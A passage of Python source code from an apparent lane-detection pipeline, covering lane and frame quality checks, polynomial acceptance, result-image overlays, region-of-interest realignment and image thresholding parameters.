self.LANE_RATIO_LOW_THRESHOLD, Lane.pixelCount[-1], self.LANE_COUNT_THRESHOLD))\n Lane.goodLaneDetection = False\n\n elif (Lane.pixelRatio[-1] > self.LANE_RATIO_HIGH_THRESHOLD) and \\\n (self.NztoImageNzRatio < 30): \n image_conditions.append(12)\n msgs.append(' *** (12) {:5s} Lane pxl ratio > threshold - Pxl Ratio: {:7.3f} > Ratio Threshold: ({:7.3f}) '\\\n ' Det Nz to Ttl Nz Ratio: ({:7.3f})'.format(Lane.name, \n Lane.pixelRatio[-1], self.LANE_RATIO_HIGH_THRESHOLD, self.NztoImageNzRatio))\n Lane.goodLaneDetection = False\n \n else:\n Lane.goodLaneDetection = True\n\n\n ##------------------------------------------------------------------------------------------\n ## Frame Level Quality checks \n ##------------------------------------------------------------------------------------------\n self.frameGoodQuality = True\n self.bothLanesPixelRatio = self.LeftLane.pixelRatio[-1] + self.RightLane.pixelRatio[-1]\n \n if self.imgPixelRatio[-1] > self.IMAGE_RATIO_HIGH_THRESHOLD: ## self.IMAGE_RATIO_HIGH_THRESHOLD:\n image_conditions.append(20)\n msgs.append(' *** (20) imgPixelRatio: ratio of non-zero pixels in image {} > image ratio HIGH threshold {}'.\n format(self.imgPixelRatio[-1], self.IMAGE_RATIO_HIGH_THRESHOLD))\n self.frameGoodQuality = False\n\n if self.imgPixelRatio[-1] < self.IMAGE_RATIO_LOW_THRESHOLD:\n image_conditions.append(21)\n msgs.append(' *** (21) imgPixelRatio: ratio of non-zero pixels in image {} < image ratio LOW threshold {}'.\n format(self.imgPixelRatio[-1], self.IMAGE_RATIO_LOW_THRESHOLD))\n\n if self.bothLanesPixelRatio < self.IMAGE_RATIO_LOW_THRESHOLD:\n image_conditions.append(30)\n msgs.append(' *** (30) bothLanesPixelRatio: Left+Right non-zero pixel ratio {} < image ratio LOW threshold {}.'.\n format(self.bothLanesPixelRatio, self.IMAGE_RATIO_LOW_THRESHOLD))\n\n # if self.bothLanesPixelRatio > self.IMAGE_RATIO_HIGH_THRESHOLD:\n # image_conditions.append(31)\n # msgs.append(' *** (31) bothLanesPixelRatio: Left+Right non-zero pixel ratio {} > image ratio HIGH threshold {}.'.\n # format(self.bothLanesPixelRatio, self.IMAGE_RATIO_LOW_THRESHOLD))\n\n if (lower_nz_pxl_cnt > 45 ):\n image_conditions.append(40)\n msgs.append(' *** (31) Warped image lower 1/3 non-zero pixel count {} > 45 '.format(lower_nz_pxl_cnt))\n self.frameGoodQuality = False\n\n if (self.imgWarpedStats['RGB'][-1]> self.HIGH_RGB_THRESHOLD) and (self.imgWarpedStats['Sat'][-1] > self.XHIGH_SAT_THRESHOLD):\n image_conditions.append(40)\n msgs.append(' *** (40) Warped Image High Mean RGB {} / Mean SAT {} '.\n format(self.imgWarpedStats['RGB'][-1], self.imgWarpedStats['Sat'][-1]))\n self.frameGoodQuality = False\n\n self.goodLaneDetections = (self.LeftLane.goodLaneDetection and self.RightLane.goodLaneDetection) \n self.imgCondHistory.append(image_conditions)\n \n if self.debug:\n print(' Image conditions: ', image_conditions)\n for msg in msgs:\n print(msg)\n\n print()\n print(' left Pxl Count: {:7.0f} or right Pxl Count: {:7.0f} - LANE_COUNT_THRESHOLD : {:7.0f} '.\n format(self.LeftLane.pixelCount[-1], self.RightLane.pixelCount[-1], self.LANE_COUNT_THRESHOLD))\n print(' left Pxl Ratio: {:7.2f} or right Pxl Ratio: {:7.2f} - LANE RATIO LOW THRSHLD: {:7.2f} HIGH THRSHLD {:7.2f}'.\n format(self.LeftLane.pixelRatio[-1], self.RightLane.pixelRatio[-1], \n self.LANE_RATIO_LOW_THRESHOLD, self.LANE_RATIO_HIGH_THRESHOLD))\n print(' Image NZ pixel ratio (imgPixelRatio) : {:7.2f} - IMG RATIO LOW THRSHLD: {:7.2f} HIGH THRSHLD {:7.2f}'.\n format(self.imgPixelRatio[-1], self.IMAGE_RATIO_LOW_THRESHOLD, self.IMAGE_RATIO_HIGH_THRESHOLD))\n # print(' Left+Right : %{:7.2f} imgPixelRatio: %{:7.2f} '.\n # format(self.bothLanesPixelRatio, self.imgPixelRatio[-1] ))\n print(' L+R NZ pixel ratio (bothLanesPixelRatio) : {:7.2f} - IMG RATIO LOW THRSHLD: {:7.2f} HIGH THRSHLD {:7.2f}'.\n format(self.bothLanesPixelRatio, self.IMAGE_RATIO_LOW_THRESHOLD, self.IMAGE_RATIO_HIGH_THRESHOLD))\n print(' imgWarped stats RGB: {:7.2f} SAT: {:7.2f} HIGH_RGB_THRSHLD: {:7.2f} '\\\n ' HIGH_SAT_THRSHLD {:7.2f} EXTRA HIGH_SAT_THRSHLD {:7.2f}'.\n format(self.imgWarpedStats['RGB'][-1], self.imgWarpedStats['Sat'][-1], \n self.HIGH_RGB_THRESHOLD, self.HIGH_SAT_THRESHOLD, self.XHIGH_SAT_THRESHOLD))\n print()\n print(' Lane Detections Results - Left: {} Right: {} goodLaneDetections: {} frameGoodQuality: {}'.format(\n str(self.LeftLane.goodLaneDetection).upper(), str(self.RightLane.goodLaneDetection).upper(), \n str(self.goodLaneDetections).upper() , str(self.frameGoodQuality).upper() ))\n\n\n ##--------------------------------------------------------------------------------------\n ##\n ##--------------------------------------------------------------------------------------\n def assess_fitted_polynomials(self):\n\n if self.debug:\n print()\n print('assess_fitted_polynomials()')\n print('-'*40)\n\n ### Individual lane assessments\n\n for Lane in [self.LeftLane, self.RightLane]:\n \n\n if (self.slidingWindowBootstrap and self.RoIAdjustment):\n ## Realignment of the perspective transformation window will reuslt in a \n ## High RSE Error. We will allow this error rate when it is a result of a \n ## RoI realignment. Other wise proceed nornally. \n Lane.acceptPolynomial = True\n Lane.reset_best_fit(debug = self.debug)\n msg2 = ' {:5s} lane fitted polynomial - RoIAdjustment performed - Polynomial fit will be accepted \\n'.format(Lane.name)\n\n elif (Lane.goodLaneDetection and self.frameGoodQuality):\n Lane.acceptPolynomial = True\n # Lane.reset_best_fit(debug = self.debug)\n msg2 = ' {:5s} lane fitted polynomial - acceptPolynomial: {} (GoodLaneDetection: {} & frameGoodQuality: {})'.format(\n Lane.name, Lane.acceptPolynomial, Lane.goodLaneDetection, self.frameGoodQuality)\n \n # elif not (Lane.goodLaneDetection and self.frameGoodQuality):\n # Lane.acceptPolynomial = False\n # msg2 = ' {:5s} lane fitted polynomial - acceptPolynomial: {} (GoodLaneDetection: {} & frameGoodQuality: {})'.format(\n # Lane.name, Lane.acceptPolynomial, Lane.goodLaneDetection, self.frameGoodQuality)\n \n elif Lane.curve_spread_x > (2 * Lane.pixel_spread_x):\n Lane.acceptPolynomial = False \n msg2 = ' {:5s} lane fitted polynomial x spread {} > 2*PixelSpread {} '.format(\n Lane.name, Lane.curve_spread_x, (2 * Lane.pixel_spread_x))\n\n elif not (Lane.goodLaneDetection):\n Lane.acceptPolynomial = False \n msg2 = ' {:5s} lane fitted polynomial - acceptPolynomial: {} (GoodLaneDetection: {} & frameGoodQuality: {})'.format(\n Lane.name, Lane.acceptPolynomial, Lane.goodLaneDetection, self.frameGoodQuality)\n else:\n Lane.acceptPolynomial = True if (Lane.RSE < Lane.RSE_THRESHOLD) else False\n msg2 = ' {:5s} lane fitted polynomial - acceptPolynomial: {}'.format(Lane.name, Lane.acceptPolynomial)\n\n if self.debug :\n print(msg2) \n\n\n\n ### Joint Lane assessments\n\n if (self.LeftLane.acceptPolynomial ^ self.RightLane.acceptPolynomial) and (self.goodLaneDetections):\n self.compareLanes()\n\n for Lane in [self.LeftLane, self.RightLane]:\n if Lane.acceptPolynomial:\n Lane.acceptFittedPolynomial(debug = self.debug, debug2 = self.debug2)\n else:\n Lane.rejectFittedPolynomial(debug = self.debug, debug2 = self.debug2)\n\n\n ### Frame level actions that need to be taken based on acceptance or rejection of polynomials \n\n self.acceptPolynomials = self.LeftLane.acceptPolynomial and self.RightLane.acceptPolynomial and self.frameGoodQuality\n fullReject = not (self.LeftLane.acceptPolynomial or self.RightLane.acceptPolynomial or self.frameGoodQuality)\n # red_status = not ((self.LeftLane.acceptPolynomial ^ self.RightLane.acceptPolynomial) ^ self.frameGoodQuality)\n # yellow_status = not red_status\n\n\n if self.acceptPolynomials: ## everything good\n self.ttlAcceptedFrames += 1\n self.ttlRejectedFramesSinceAccepted = 0\n self.ttlAcceptedFramesSinceRejected += 1\n self.validLaneDetections = True\n self.polyRegionColor1 = 'green'\n self.slidingWindowBootstrap = False\n acceptCode = 0\n \n elif fullReject: ## everything bad\n self.ttlFullReject += 1 \n self.ttlRejectedFramesSinceAccepted = 0\n self.ttlAcceptedFramesSinceRejected = 0\n self.slidingWindowBootstrap = False\n self.validLaneDetections = False\n self.polyRegionColor1 = 'lightgray' \n acceptCode = -40\n \n else: \n self.ttlRejectedFrames += 1\n self.ttlAcceptedFramesSinceRejected = 0 \n self.ttlRejectedFramesSinceAccepted += 1\n self.validLaneDetections = True\n\n # self.slidingWindowBootstrap = True if self.frameGoodQuality else False\n # doesnt work well in YELLOW conditions.\n\n if self.ttlRejectedFramesSinceAccepted < self.YELLOW_DETECTION_LIMIT:\n self.slidingWindowBootstrap = False\n self.polyRegionColor1 = 'yellow' \n acceptCode = -10\n else:\n # \n self.slidingWindowBootstrap = True if self.frameGoodQuality else False\n self.polyRegionColor1 = 'red' \n\n if self.ttlRejectedFramesSinceAccepted < self.RED_DETECTION_LIMIT:\n acceptCode = -20\n else:\n # self.polyRegionColor1 = 'lightgray' \n acceptCode = -30\n\n self.imgAcceptHistory.append(acceptCode)\n \n ### Display debug info\n if self.debug: \n print()\n for lane in [self.LeftLane, self.RightLane]:\n if lane.acceptPolynomial:\n print('=> {:5s} Lane ACCEPT polynomial - Accepted frames Since Last Rejected: {:4d}'.format(\n lane.name, lane.ttlAcceptedFramesSinceRejected))\n else:\n print('=> {:5s} Lane REJECT polynomial - Rejected frames Since Last Detected: {:4d}'.format(\n lane.name, lane.ttlRejectedFramesSinceDetected))\n print()\n print('=> acceptPolynomials: {} frameGoodQuality: ({})'.format(\n str(self.acceptPolynomials).upper(), str(self.frameGoodQuality).upper() )) \n print(' slidingWindowBootstrap: {} validLaneDetections: {} acceptCode: {} displayColor: {} '.format(\n self.slidingWindowBootstrap, self.validLaneDetections, acceptCode, self.polyRegionColor1 ))\n print(' Total Accepted sinceLast Rejected: {:3d} Rejected since Last Accepted: {:3d} \\n'.format(\n self.ttlAcceptedFramesSinceRejected, self.ttlRejectedFramesSinceAccepted ))\n self.debugInfo_DetectedLanes()\n\n\n ##--------------------------------------------------------------------------------------\n ##\n ##--------------------------------------------------------------------------------------\n def compareLanes(self, **kwargs):\n\n left_ckpts = self.LeftLane.best_linepos if self.LeftLane.acceptPolynomial else self.LeftLane.current_linepos\n right_ckpts = self.RightLane.best_linepos if self.RightLane.acceptPolynomial else self.RightLane.current_linepos\n \n diff = right_ckpts - left_ckpts\n min_diff = np.round(diff.min(),0)\n max_diff = np.round(diff.max(),0) \n diff_spread = round(max_diff - min_diff,0)\n\n diff_meters = np.round((np.array(right_ckpts)- np.array(left_ckpts))*self.LeftLane.MX,3)\n min_diff_meters = np.round(diff_meters.min(),3)\n max_diff_meters = np.round(diff_meters.max(),3) \n diff_spread_meters = round(max_diff_meters - min_diff_meters,3)\n\n rejectedLane = self.LeftLane if self.RightLane.acceptPolynomial else self.RightLane \n acceptedLane = self.RightLane if self.RightLane.acceptPolynomial else self.LeftLane\n \n print()\n print('compareLanes()') \n print(' ', self.LeftLane.y_checkpoints)\n print(' left_ckpts :', left_ckpts )\n print(' right_ckpts :', right_ckpts)\n print(' diff (pixels) :', diff , 'Min: ', min_diff, ' Max: ', max_diff, ' spread:', diff_spread)\n print(' diff (meters) :', diff_meters , 'Min: ', min_diff_meters, ' Max: ', max_diff_meters, ' spread:', diff_spread_meters)\n\n if diff_spread < self.PARALLEL_LINES_MARGIN:\n print()\n print(' Spread between accepted lane ({}) and rejected lane ({}) is less than {} pixels - rejected lane will be accepted'.format(\n acceptedLane.name, rejectedLane.name, self.PARALLEL_LINES_MARGIN))\n print()\n rejectedLane.acceptPolynomial = True\n rejectedLane.reset_best_fit(debug = self.debug)\n\n return \n\n\n ##--------------------------------------------------------------------------------------\n ##\n ##--------------------------------------------------------------------------------------\n def build_result_image(self, **kwargs):\n disp_start = kwargs.get('start' , self.displayRegionTop)\n disp_end = kwargs.get('end' , self.displayRegionBot)\n\n polyRegionColor1 = kwargs.get('polyRegionColor1', 'green')\n\n min_radius = min(self.LeftLane.radius_history[-1], self.RightLane.radius_history[-1])\n min_radius_avg = min(self.LeftLane.radius_avg, self.RightLane.radius_avg)\n \n if 100 <= min_radius_avg < 125:\n disp_start += 25\n elif 125 <= min_radius_avg < 200:\n disp_start += 15\n elif 200 <= min_radius_avg < 250:\n disp_start += 15\n elif 250 <= min_radius_avg < 300:\n disp_start += 15 \n elif 300 <= min_radius_avg < 350:\n disp_start += 10 \n elif 350 <= min_radius_avg < 400:\n disp_start += 10\n elif 400 <= min_radius_avg < 450:\n disp_start += 5\n elif 450 <= min_radius_avg < 500:\n disp_start += 0\n else: ## if min_radius_avg > 250:\n disp_start += 0\n\n if self.debug:\n print('buildResultImage()')\n print('-'*15)\n print(' Hist LLane : ', [round(i,3) for i in self.LeftLane.radius_history[-10:]] )\n print(' Hist RLane : ', [round(i,3) for i in self.RightLane.radius_history[-10:]])\n # 0 print('Radius Diff History (m) : ', ['{:8.3f}'.format(i-j) for i,j in zip(RLane.radius, LLane.radius)])\n print(' Avg LLane : [-5:] : {:8.0f} [-10:] : {:8.0f} '.format(self.LeftLane.radius_avg, \n np.round(np.mean( self.LeftLane.radius_history[-10:]),3)))\n print(' Avg RLane : [-5:] : {:8.0f} [-10:] : {:8.0f} '.format(self.RightLane.radius_avg, \n np.round(np.mean(self.RightLane.radius_history[-10:]),3)))\n print(' Original disp_start : {:8d} end: {:8d} '.format(self.displayRegionTop, self.displayRegionBot))\n print(' Min avg radius: {:8.0f}'.format( min_radius_avg))\n print(' Modified disp start : {:8d} end: {:8d}'.format(disp_start, disp_end))\n \n self.curv_msg = curvatureMsg(self.LeftLane , self.RightLane, debug = self.debug2)\n self.oc_msg = offCenterMsg(self.LeftLane , self.RightLane, self.camera_x, debug = self.debug2)\n thr_msg = '{:5s} - {:22s}'.format(self.Conditions.upper(), self.thresholdMethod)\n stat_msg = 'RGB: {:3.0f} Hue:{:3.0f} SAT: {:3.0f}'.format(self.imgWarpedStats['RGB'][-1],\n self.imgWarpedStats['Hue'][-1], self.imgWarpedStats['Sat'][-1])\n \n # if self.validLaneDetections:\n # pass\n # else:\n # beta = 0.3\n \n if True:\n self.resultImage, self.dyn_src_points_list = displayDetectedRegion(self.imgUndist, \n self.LeftLane.fitted_best , \n self.RightLane.fitted_best, \n self.Minv, \n disp_start = disp_start, \n disp_end = disp_end ,\n alpha = 0.7,\n beta = self.overlayBeta , \n color = self.polyRegionColor1, \n frameTitle = self.frameTitle, \n debug = self.debug2)\n # else:\n # self.resultImage = np.copy(self.imgUndist)\n\n displayText(self.resultImage, 40, 40, self.frameTitle, fontHeight = 20)\n \n if self.validLaneDetections:\n displayText(self.resultImage, 40, 80, self.curv_msg , fontHeight = 20)\n displayText(self.resultImage, 40,120, self.oc_msg , fontHeight = 20)\n else:\n displayText(self.resultImage, 40, 80, 'Unable to detect lanes' , fontHeight = 20)\n\n displayText(self.resultImage, 850, 40, thr_msg , fontHeight = 20)\n displayText(self.resultImage, 850, 80, stat_msg , fontHeight = 20)\n\n # displayGuidelines(self.resultImage, draw = 'y');\n return\n\n\n ##--------------------------------------------------------------------------------------\n ##\n ##--------------------------------------------------------------------------------------\n def adjust_RoI_window(self, **kwargs):\n '''\n Adjust the perspective transformation source points based on predefined criteria\n '''\n\n # min_radius = min(self.LeftLane.radius[-1], self.RightLane.radius[-1])\n\n ### Build output image frame \n \n mid_point_pixels = self.LeftLane.line_base_pixels[-1] + (self.RightLane.line_base_pixels[-1] -self.LeftLane.line_base_pixels[-1]) / 2\n off_center_pixels = round(self.camera_x - mid_point_pixels,0) \n self.offctr_history.append(off_center_pixels)\n\n self.dyn_src_points = np.array(self.dyn_src_points_list, dtype = np.float32)\n diffs = [abs(i[0] - j[0]) for i,j in zip(self.src_points_list[:2], self.dyn_src_points_list[:2])]\n max_diffs = max(diffs)\n \n self.diffsSrcDynPoints.append(max_diffs)\n\n if self.debug:\n # np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =500, formatter = self.np_format)\n print()\n print('adjust_RoI_window() - FirstFrame:', self.firstFrame, ' AcceptPolynomial:', self.acceptPolynomials )\n print('-'*65)\n print(' x_base : Left: {:8.2f} Right: {:8.2f} '.format( self.LeftLane.x_base[-1], self.RightLane.x_base[-1]))\n print(' Image Pixel Ratios : Left: {:8.2f} Right: {:8.2f} Total: {:8.2f}'.format(\n self.LeftLane.pixelRatio[-1], self.RightLane.pixelRatio[-1], self.imgPixelRatio[-1]))\n \n # print(' Min last radius : {:7.0f}'.format( min_radius)) \n # print(' Left radius : {:7.2f} History: {} '.format(self.LeftLane.radius[-1], self.LeftLane.radius[-10:])) \n # print(' Right radius : {:7.2f} History: {} '.format(self.RightLane.radius[-1], self.RightLane.radius[-10:])) \n # print()\n print(' off center pixels : {:7.2f} History: {} '.format(off_center_pixels, self.offctr_history[-10:]))\n print(' diff(dyn_src, src) : {:7.2f} History: {} '.format(max_diffs, self.diffsSrcDynPoints[-10:]))\n print(' Pixel ratio - Left : {:7.2f} History: {} '.format( self.LeftLane.pixelRatio[-1], self.LeftLane.pixelRatio[-10:]))\n print(' Pixel ratio - Right : {:7.2f} History: {} '.format(self.RightLane.pixelRatio[-1], self.RightLane.pixelRatio[-10:]))\n print(' Pixel ratio - Image : {:7.2f} History: {} '.format(self.imgPixelRatio[-1], self.imgPixelRatio[-10:]))\n print() \n print(' src_points_list : {} '.format(self.src_points_list))\n print(' dyn_src_points_list : {} '.format(self.dyn_src_points_list))\n print(' diffs : {} '.format(diffs))\n print()\n\n if self.displayRealignment or self.debug:\n print(' Perspective transform source points - OffCtr Pxls: {} max source point diff: {} OffCtr Threshold: {} imgPxlRatio: {} acceptCode: {}'.format(\n off_center_pixels, max_diffs, self.OFF_CENTER_ROI_THRESHOLD, self.imgPixelRatio[-1], self.imgAcceptHistory[-1]))\n\n ###----------------------------------------------------------------------------------------------\n # if quality of last image threshold is > %80 and we need to run a bootstrap, set up to do so in\n # next video frame\n ###----------------------------------------------------------------------------------------------\n if (self.acceptPolynomials) and \\\n (( max_diffs >= self.OFF_CENTER_ROI_THRESHOLD )) :\n # or (self.firstFrame)):\n # ( ( max_diffs > self.CURRENT_OFFCTR_ROI_THR ) or (self.firstFrame)):\n \n\n if self.displayRealignment or self.debug:\n print()\n print(' Adjust perspective transform source points - OffCtr Pxls: {} max_diffs: {} imgPxlRatio: {} '.format(\n off_center_pixels, max_diffs, self.imgPixelRatio[-1]))\n print(' ','-'*100)\n print(' Cur src_points_list : {} '.format(self.src_points_list))\n print()\n print(' New src_points_list : {} '.format(self.dyn_src_points_list))\n print(' Prev Left x_base : ', self.LeftLane.x_base[-2], ' Right x_base :', self.RightLane.x_base[-2])\n print(' New Left x_base : ', self.LeftLane.x_base[-1], ' Right x_base :', self.RightLane.x_base[-1])\n print()\n\n self.debugInfo_srcPointsRoI(title= 'source points prior to realignment')\n self.debugInfo_newSrcPointsRoI(title= 'new source points after realignment')\n\n\n self.prev_src_points_list = self.src_points_list\n self.src_points_list = self.dyn_src_points_list\n self.src_points = np.array(self.dyn_src_points_list, dtype = np.float32)\n\n self.slidingWindowBootstrap = True\n self.RoIAdjustment = True\n self.imgAdjustHistory.append((len(self.offctr_history), self.offctr_history[-1], self.diffsSrcDynPoints[-1]))\n # self.LeftLane.x_base.append (self.dyn_src_points_list[3][0])\n # self.RightLane.x_base.append(self.dyn_src_points_list[2][0])\n\n self.LeftLane.x_base.append (self.x_dst_left)\n self.RightLane.x_base.append(self.x_dst_right)\n # self.LeftLane.next_x_base = self.x_dst_left\n # self.RightLane.next_x_base = self.x_dst_right\n else:\n self.RoIAdjustment = False\n return \n\n\n ##--------------------------------------------------------------------------------------\n ##\n ##--------------------------------------------------------------------------------------\n def build_display_results(self, **kwargs):\n\n debug = kwargs.get('debug', False)\n debug2 = kwargs.get('debug2', False)\n debug3 = kwargs.get('debug3', False)\n debug4 = kwargs.get('debug4', False)\n polyRegionColor1 = kwargs.get('color1', 'green')\n\n if debug:\n print(' Left lane MR fit : ', self.LeftLane.proposed_fit , ' Right lane MR fit : ', self.RightLane.proposed_fit)\n print(' Left lane MR best fit : ', self.LeftLane.best_fit , ' Right lane MR best fit: ', self.RightLane.best_fit)\n print(' Left radius @ y = 10 : '+str(self.LeftLane.get_radius(10)) +\" m Right radius: \"+str(self.RightLane.get_radius(10))+\" m\")\n print(' Left radius @ y = 700 : '+str(self.LeftLane.get_radius(700))+\" m Right radius: \"+str(self.RightLane.get_radius(700))+\" m\")\n print(' Curvature message : ', self.curv_msg)\n print(' Off Center Message : ', self.oc_msg) \n\n result_1, _ = displayDetectedRegion(self.imgUndist, self.LeftLane.proposed_curve, self.RightLane.proposed_curve, \n self.Minv, disp_start= self.displayRegionTop , beta = 0.2, \n color = self.polyRegionColor1, debug = False)\n\n displayText(result_1, 40, 40, self.frameTitle, fontHeight = 20)\n displayText(result_1, 40, 80, self.curv_msg, fontHeight = 20)\n displayText(result_1, 40,120, self.oc_msg, fontHeight = 20)\n # displayGuidelines(result_1, draw = 'y');\n\n ###----------------------------------------------------------------------------------------------\n ### undistorted color image & perpective transformed image -- With RoI line display\n ###----------------------------------------------------------------------------------------------\n # imgRoI, imgRoIWarped = self.debugInfo_srcPointsRoI(display = False, title= 'Perspec. Tx. source points') \n # imgLanePxls = self.visualizeLaneDetection(display = False)\n \n ###----------------------------------------------------------------------------------------------\n ## Certain operations are not performed based on the processing mode selected\n ## Generate images for skipped operations for display purposes for display purposes\n ###----------------------------------------------------------------------------------------------\n if self.mode == 1:\n # print(' Display mode 1')\n ### results of applying thresholding AFTER warping undistorted image\n imgWarped, _, _ = perspectiveTransform(self.imgUndist, self.src_points, self.dst_points, debug = debug4)\n thresholdParms = self.ImageThresholds[2][self.Conditions]\n output2 = apply_thresholds(self.imgWarped, thresholdParms, debug = debug2)\n self.imgWarpedThrshld = output2[self.thresholdMethod]\n self.imgThrshldWarped = self.working_image\n else: \n # print(' Display mode 2')\n ### results of applying thresholding BEFORE warping undistorted image \n thresholdParms = self.ImageThresholds[1][self.Conditions] \n output2 = apply_thresholds(self.imgUndist, thresholdParms, debug = debug2) \n self.imgThrshld = output2[self.thresholdMethod]\n self.imgThrshldWarped, _, _ = perspectiveTransform(self.imgThrshld, self.src_points, self.dst_points, debug = debug4) \n self.imgWarpedThrshld = self.working_image\n \n self.resultExtraInfo = PlotDisplay(6,2)\n self.resultExtraInfo.addPlot(self.image , title = 'original frame - '+self.frameTitle)\n self.resultExtraInfo.addPlot(self.imgUndist , title = 'imgUndist - Undistorted Image')\n \n self.resultExtraInfo.addPlot(self.imgRoI , title = 'imgRoI' )\n self.resultExtraInfo.addPlot(self.imgRoIWarped, title = 'imgRoIWarped' )\n \n self.resultExtraInfo.addPlot(self.imgThrshld , title = 'imgThrshld - Thresholded image')\n self.resultExtraInfo.addPlot(self.imgWarped , title = 'imgWarped - Warped Image')\n \n self.resultExtraInfo.addPlot(self.imgThrshldWarped, title = 'imgThrshldWarped - Img Thresholded ---> Warped (Mode 1)')\n self.resultExtraInfo.addPlot(self.imgWarpedThrshld, title = 'imgWarpedThrshld - Img Warped ---> Thresholded (Mode 2)')\n \n self.resultExtraInfo.addPlot(self.imgLanePxls , title = 'ImgLanePxls (Black: Prev fit, Yellow: New fit, Red: Best Fit)' )\n self.resultExtraInfo.addPlot(self.histogram , title = 'Histogram of activated pixels', type = 'plot' )\n \n self.resultExtraInfo.addPlot(result_1 , title = 'result_1 : Using LAST fit')\n self.resultExtraInfo.addPlot(self.resultImage , title = 'finalImage : Using BEST fit'+self.frameTitle)\n self.resultExtraInfo.closePlot()\n\n return \n \n\n def displayConfig(self):\n \"\"\"Display Configuration values.\"\"\"\n ttl = (self.NAME.upper() if self.NAME is not None else '') + \" Configuration Parameters:\"\n \n print()\n print(ttl)\n print(\"-\"*len(ttl))\n \n for a in dir(self):\n if not a.startswith(\"__\") and not callable(getattr(self, a)):\n print(\"{:30} {}\".format(a, getattr(self, a)))\n print(\"\\n\")\n\n\n def reset(self):\n self.slidingWindowBootstrap = True\n self.firstFrame = True\n\n self.LeftLane = Line(history = self.HISTORY, height = self.height, y_src_top = self.y_src_top, y_src_bot = self.y_src_bot)\n self.RightLane = Line(history = self.HISTORY, height = self.height, y_src_top = self.y_src_top, y_src_bot = self.y_src_bot)\n return True\n\n\n def compute_top_x_disp(self): \n \n top_left_x = ((self.y_src_bot - self.y_src_top) / self.tan_theta) + (self.x_src_center - self.x_bot_disp)\n \n top_x_disp = int(round(self.x_src_center - top_left_x,0))\n \n print('self.x_src_top_left: ',top_left_x, ' top_x_disp: ', top_x_disp)\n return top_x_disp\n\n\n def build_source_RoI_region(self):\n self.x_src_center = 640 + self.RoI_x_adj \n self.tan_theta = (self.lane_theta * np.pi)/180 \n \n self.x_top_disp = self.compute_top_x_disp()\n\n self.x_src_bot_left = self.x_src_center - self.x_bot_disp # = 295) \n self.x_src_bot_right = self.x_src_center + self.x_bot_disp # = 1105) \n self.x_src_top_left = self.x_src_center - self.x_top_disp # = 600) ## 580 -> 573\n self.x_src_top_right = self.x_src_center + self.x_top_disp # = 740)\n\n src_points_list = [ (self.x_src_top_left , self.y_src_top),\n (self.x_src_top_right, self.y_src_top), \n (self.x_src_bot_right, self.y_src_bot),\n (self.x_src_bot_left , self.y_src_bot)]\n\n src_points_array = np.array(src_points_list, dtype = np.float32)\n return src_points_list, src_points_array\n\n\n def build_dest_RoI_region(self):\n dst_points_list = [ (self.x_dst_left , self.y_dst_top), \n (self.x_dst_right , self.y_dst_top), \n (self.x_dst_right , self.y_dst_bot), \n (self.x_dst_left , self.y_dst_bot)]\n \n dst_points_array = np.array(dst_points_list, dtype = np.float32)\n\n return dst_points_list, dst_points_array\n\n\n def set_thresholding_parms(self):\n '''\n select thresholding parameters based on current image condtiions\n currently we only compare the RGB mean value against a threshold\n other criteria can be considered\n '''\n\n if (self.imgWarpedStats['Sat'][-1] > self.XHIGH_SAT_THRESHOLD) or \\\n (self.imgWarpedStats['RGB'][-1] > self.HIGH_RGB_THRESHOLD):\n self.Conditions = 'xhigh'\n historyFlag = 30\n\n elif (self.imgWarpedStats['RGB'][-1] < self.VLOW_RGB_THRESHOLD) :\n self.Conditions = 'vlow'\n historyFlag = -20\n \n elif (self.imgWarpedStats['RGB'][-1] < self.LOW_RGB_THRESHOLD) :\n \n if (self.imgWarpedStats['Sat'][-1] < self.LOW_SAT_THRESHOLD):\n self.Conditions = 'lowsat'\n historyFlag = -30\n elif (self.imgWarpedStats['Sat'][-1] > self.HIGH_SAT_THRESHOLD):\n self.Conditions = 'hisat'\n historyFlag = +20\n else:\n self.Conditions = 'low'\n historyFlag = -10 \n \n elif (self.imgWarpedStats['RGB'][-1] < self.MED_RGB_THRESHOLD) :\n \n if (self.imgWarpedStats['Sat'][-1] > self.HIGH_SAT_THRESHOLD):\n self.Conditions = 'hisat'\n historyFlag = 20\n # if (self.imgWarpedStats['Sat'][-1] < self.LOW_SAT_THRESHOLD):\n # self.Conditions = 'lowsat'\n # historyFlag = -30\n else:\n self.Conditions = 'med'\n historyFlag = 0\n\n # elif (self.imgWarpedStats['RGB'][-1] < self.HIGH_RGB_THRESHOLD) :\n else: \n if (self.imgWarpedStats['Sat'][-1] > self.HIGH_SAT_THRESHOLD):\n self.Conditions = 'hisat'\n historyFlag = 20\n else:\n self.Conditions = 'high'\n historyFlag = 10\n\n self.imgThrshldHistory.append(historyFlag)\n self.thresholdMethod = self.thresholdMethods[self.mode][self.Conditions]\n self.thresholdStrs = self.itStr[self.mode][self.Conditions] \n self.thresholdParms = self.ImageThresholds[self.mode][self.Conditions] \n \n return \n\n\n def initialize_thresholding_parameters(self):\n ##---------------------------------------------\n ## Image Thresholding params \n ##---------------------------------------------\n self.ImageThresholds = defaultdict(dict) ## { 1: {} , 2: {} }\n self.itStr = defaultdict(dict) ## { 1: {} , 2: {} }\n self.thresholdMethods = defaultdict(dict) ## { 1: {} , 2: {} }\n\n self.thresholdMethods[1]['xhigh'] = self.XHIGH_THRESHOLDING \n self.thresholdMethods[1]['high'] = self.HIGH_THRESHOLDING \n self.thresholdMethods[1]['med'] = self.NORMAL_THRESHOLDING \n self.thresholdMethods[1]['low'] = self.LOW_THRESHOLDING \n self.thresholdMethods[1]['vlow'] = self.VLOW_THRESHOLDING \n\n self.thresholdMethods[1]['hisat'] = self.HISAT_THRESHOLDING \n self.thresholdMethods[1]['lowsat'] = self.LOWSAT_THRESHOLDING \n\n ## Normal Light Conditions ------------\n self.ImageThresholds[1]['xhigh'] = {\n 'ksize' : 7 ,\n 'x_thr' : (30,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (35,255) ,\n 'dir_thr' : (40,65) ,\n 'sat_thr' : (110,255) ,\n 'lvl_thr' : (205, 255),\n 'rgb_thr' : (205,255) ,\n 'hue_thr' : None \n }\n self.ImageThresholds[1]['high'] = {\n 'ksize' : 7 ,\n 'x_thr' : (30,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (35,255) ,\n 'dir_thr' : (40,65) ,\n 'sat_thr' : (110,255) ,\n 'lvl_thr' : (205,255),\n 'rgb_thr' : (205,255) ,\n 'hue_thr' : None \n }\n\n self.ImageThresholds[1]['med'] = {\n 'ksize' : 7 ,\n 'x_thr' : (30,255) ,\n 